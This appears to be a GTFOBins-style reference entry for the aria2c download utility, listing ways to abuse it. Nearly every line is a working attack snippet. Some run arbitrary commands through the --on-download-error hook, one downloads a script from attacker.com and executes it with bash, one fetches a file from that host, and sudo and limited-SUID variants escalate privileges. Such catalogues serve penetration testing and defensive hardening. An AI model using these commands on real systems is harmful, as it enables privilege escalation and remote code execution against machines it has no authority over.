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34 lines
1.2 KiB
Markdown
34 lines
1.2 KiB
Markdown
---
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description: Note that the subprocess is immediately sent to the background.
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functions:
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command:
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- code: |
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COMMAND='id'
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TF=$(mktemp)
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echo "$COMMAND" > $TF
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chmod +x $TF
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aria2c --on-download-error=$TF http://x
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- description: The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID.
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code: aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa
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file-download:
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- description: Fetch a remote file via HTTP GET request. Use `--allow-overwrite` if needed.
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code: |
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URL=http://attacker.com/file_to_get
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LFILE=file_to_save
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aria2c -o "$LFILE" "$URL"
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sudo:
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- code: |
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COMMAND='id'
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TF=$(mktemp)
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echo "$COMMAND" > $TF
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chmod +x $TF
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sudo aria2c --on-download-error=$TF http://x
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limited-suid:
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- code: |
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COMMAND='id'
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TF=$(mktemp)
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echo "$COMMAND" > $TF
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chmod +x $TF
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./aria2c --on-download-error=$TF http://x
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---
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